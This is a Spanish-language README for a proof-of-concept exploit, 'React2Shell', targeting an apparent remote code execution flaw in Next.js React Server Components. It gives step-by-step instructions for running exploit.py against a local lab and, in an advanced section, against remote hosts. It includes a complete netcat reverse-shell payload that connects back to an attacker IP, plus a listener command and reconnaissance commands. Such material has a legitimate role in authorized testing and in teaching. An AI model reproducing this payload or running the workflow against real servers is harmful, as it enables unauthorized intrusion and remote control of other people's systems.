React2Shell CVE-2025-55182

Un exploit de prueba de concepto que demuestra una vulnerabilidad de ejecución remota de código en aplicaciones Next.js a través de la contaminación de prototipos en la canalización de renderizado de los componentes de servidor de React.

⚠️ Aviso legal

Esta herramienta es solo para fines educativos y de pruebas autorizadas. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso de probar es ilegal.

📋 Requisitos previos

• Node.js (v16 o posterior)
• Python 3.6+
• netcat (para shells reversas)
• Una aplicación Next.js vulnerable (incluida en este repositorio)

🚀 Inicio rápido

Opción 1: Usar el laboratorio preconfigurado

1. Clonar el repositorio

git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182

Opción 2: Crear el servidor desde cero

# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab

Nota: El laboratorio preconfigurado ya incluye el código vulnerable necesario. Si lo creas desde cero, tendrás que añadir manualmente los componentes vulnerables.

2. Instalar las dependencias

cd react2shell-lab
npm install

3. Iniciar el servidor vulnerable

En la terminal 1:

npm run dev

El servidor debería iniciarse en http://localhost:3000

🔧 Explotación

Ejecución básica de comandos

1. El repositorio incluye un archivo exploit.py que demuestra la vulnerabilidad. Edita la variable COMMAND en el archivo con el comando deseado:

   root@kitploit:~

   COMMAND = 'whoami'  # Change this to any command you want to execute
   

2. Ejecuta el exploit:

   root@kitploit:~

   python3 exploit.py
   

Shell reversa

1. Configura un listener de netcat en una nueva terminal:

   root@kitploit:~

   nc -nvlp 4444
   

2. Edita exploit.py y actualiza el comando con tu payload de shell reversa:

   root@kitploit:~

   COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
   

   Reemplaza YOUR_IP con la dirección IP de tu máquina local.

3. Ejecuta el exploit:

   root@kitploit:~

   python3 exploit.py
   

🛠️ Uso avanzado

Probar objetivos remotos

Edita la variable HOST en el script del exploit para apuntar a servidores remotos:

HOST = 'target-ip-address'  # Replace with target IP
PORT = 3000  # Default Next.js port

Comandos comunes

• Listar el contenido del directorio: ls -la
• Obtener información del sistema: uname -a
• Obtener el usuario actual: whoami
• Obtener información de red: ifconfig o ip a

🔍 Solución de problemas

• Conexión rechazada: Asegúrate de que el servidor objetivo esté en ejecución y sea accesible
• Comando no encontrado: El sistema objetivo podría no tener instalados ciertos binarios
• Sin salida: El comando podría haberse ejecutado pero no haber producido ninguna salida

📚 Referencias

• CVE-2025-55182
• Avisos de seguridad de Next.js
• Contaminación de prototipos en JavaScript

📄 Licencia

Este proyecto está licenciado bajo la Licencia MIT. Consulta el archivo LICENSE para más detalles.

Esta versión solicita al usuario la entrada del objetivo remoto y de las IP y puertos del atacante. El cuerpo del POST (body_parts) también se recorta ligeramente en esta versión.

Fuentes:

https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained

https://tryhackme.com/room/react2shellcve202555182